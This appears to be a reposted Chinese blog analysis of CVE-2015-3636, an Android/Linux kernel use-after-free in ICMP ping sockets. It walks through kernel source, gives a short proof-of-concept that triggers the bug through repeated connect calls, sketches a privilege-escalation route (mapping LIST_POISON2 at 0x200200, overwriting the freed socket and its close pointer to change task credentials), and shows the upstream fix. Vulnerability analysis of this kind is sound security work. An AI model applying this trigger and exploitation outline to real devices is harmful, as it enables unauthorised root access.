Android 最新漏洞CVE-2015-3636

来源:互联网 发布:软件测试管理方法 编辑:程序博客网 时间:2024/05/21 13:01

漏洞介绍

    cv3-2015-3636 这个漏洞能用来提升权限,对于android 4.3以后的设备都能提升权限,包括64位的系统,漏洞利用了kernel UAF(use-after-free) bug.

BUG 分析

当我们创建一个icmp socket, 并且调用connect:
int sockfd = socket(AF_INET,SOCK_DGRAM, IPPROTO_ICMP);struct sockaddr addr= { .sa_family = AF_INET };int ret = connect(sockfd, &addr,sizeof(addr));
那么内核里就会调用:
int inet_dgram_connect(struct socket *sock, struct sockaddr * uaddr,                       int addr_len, int flags){        struct sock *sk = sock->sk;        if (addr_len < sizeof(uaddr->sa_family))                return -EINVAL;        if (uaddr->sa_family == AF_UNSPEC)                return sk->sk_prot->disconnect(sk, flags);        if (!inet_sk(sk)->inet_num && inet_autobind(sk))                return -EAGAIN;        return sk->sk_prot->connect(sk, (struct sockaddr *)uaddr, addr_len);}                             EXPORT_SYMBOL(inet_dgram_connect);

如果sa_family = AF_INET 则会调用disconnect();
int udp_disconnect(struct sock *sk, int flags){        struct inet_sock *inet = inet_sk(sk);        /*         *      1003.1g - break association.         */        sk->sk_state = TCP_CLOSE;        inet->inet_daddr = 0;        inet->inet_dport = 0;        sock_rps_reset_rxhash(sk);        sk->sk_bound_dev_if = 0;        if (!(sk->sk_userlocks & SOCK_BINDADDR_LOCK))                inet_reset_saddr(sk);        if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) {                sk->sk_prot->unhash(sk);                inet->inet_sport = 0;        }        sk_dst_reset(sk);        return 0;}

能看到最后会调用到sk->spk_prot->unhash(sk):
因为我们创建的是icmp socket, 所以会调用到下面的函数:
void ping_unhash(struct sock *sk){        struct inet_sock *isk = inet_sk(sk);        pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);        if (sk_hashed(sk)) {                write_lock_bh(&ping_table.lock);                hlist_nulls_del(&sk->sk_nulls_node);                sock_put(sk);                isk->inet_num = 0;                isk->inet_sport = 0;                sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);                write_unlock_bh(&ping_table.lock);        }}EXPORT_SYMBOL_GPL(ping_unhash);
hlist_nulls_del(&sk->sk_nulls_node);
这个行代码那么, sk_nulls_node 会被删掉。
static inline void __hlist_nulls_del(struct hlist_nulls_node *n){        struct hlist_nulls_node *next = n->next;        struct hlist_nulls_node **pprev = n->pprev;        *pprev = next;        if (!is_a_nulls(next))                next->pprev = pprev;}       static inline void hlist_nulls_del(struct hlist_nulls_node *n){        __hlist_nulls_del(n);        n->pprev = LIST_POISON2;}   
导致 n->pprecv = LIST_POISON2;
#ifdef CONFIG_ILLEGAL_POINTER_VALUE# define POISON_POINTER_DELTA _AC(CONFIG_ILLEGAL_POINTER_VALUE, UL)#else# define POISON_POINTER_DELTA 0 #endif          /*       * These are non-NULL pointers that will result in page faults * under normal circumstances, used to verify that nobody uses * non-initialized list entries. */#define LIST_POISON1  ((void *) 0x00100100 + POISON_POINTER_DELTA)#define LIST_POISON2  ((void *) 0x00200200 + POISON_POINTER_DELTA)
LIST_POISON2 的值是0x200200 这个值能够在用户空间,进行映射,来进行攻击。

当在一次进行connect时,如果我们没有映射0x200200, 则会导致kernel crash.

还没有完, 当调用sock_put(sk);
static inline void sock_put(struct sock *sk){                       if (atomic_dec_and_test(&sk->sk_refcnt))                sk_free(sk);}   
当我们调用一次connect 时,会导致sk 被free 掉,但是用户空间的文件描述符,并没有被free,这样就找出UAF.


PoC(Proof-of-Concept)

int sockfd = socket(AF_INET,SOCK_DGRAM, IPPROTO_ICMP);struct sockaddr addr= { .sa_family = AF_INET };int ret = connect(sockfd, &addr,sizeof(addr));struct sockaddr _addr= { .sa_family = AF_UNSPEC };ret = connect(sockfd, &_addr, sizeof(_addr));ret = connect(sockfd, &_addr, sizeof(_addr));


漏洞利用

  通过用户空间里来映射内存,来达到覆盖被释放到的sock, 这样,就能控制sock里面的衬衣,这样当用户空间调用close() 时,就能触发内核里的函数:
int inet_release(struct socket *sock){        struct sock *sk = sock->sk;        if (sk) {                long timeout;                sock_rps_reset_flow(sk);                /* Applications forget to leave groups before exiting */                ip_mc_drop_socket(sk);                /* If linger is set, we don't return until the close                 * is complete.  Otherwise we return immediately. The                 * actually closing is done the same either way.                 *                 * If the close is due to the process exiting, we never                 * linger..                 */                timeout = 0;                if (sock_flag(sk, SOCK_LINGER) &&                    !(current->flags & PF_EXITING))                        timeout = sk->sk_lingertime;                sock->sk = NULL;                sk->sk_prot->close(sk, timeout);        }        return 0;}EXPORT_SYMBOL(inet_release);
sk->sk_prot->close(sk, timeout);  因为我没已经控制了sock , 所以sock里面的成员,可以修改成任何值,这样我们把close 映射到用户空间的函数,就能进行提升权限,
可以直接修改task_struct 的cred 来完成root。

漏洞修复

if (sk_hashed(sk)) { write_lock_bh(&ping_table.lock); hlist_nulls_del(&sk->sk_nulls_node);+sk_nulls_node_init(&sk->sk_nulls_node); sock_put(sk); isk->inet_num = 0; isk->inet_sport = 0;

参考

https://github.com/torvalds/linux/commit/a134f083e79fb4c3d0a925691e732c56911b4326
https://bugzilla.redhat.com/show_bug.cgi?id=1218074


0 0
原创粉丝点击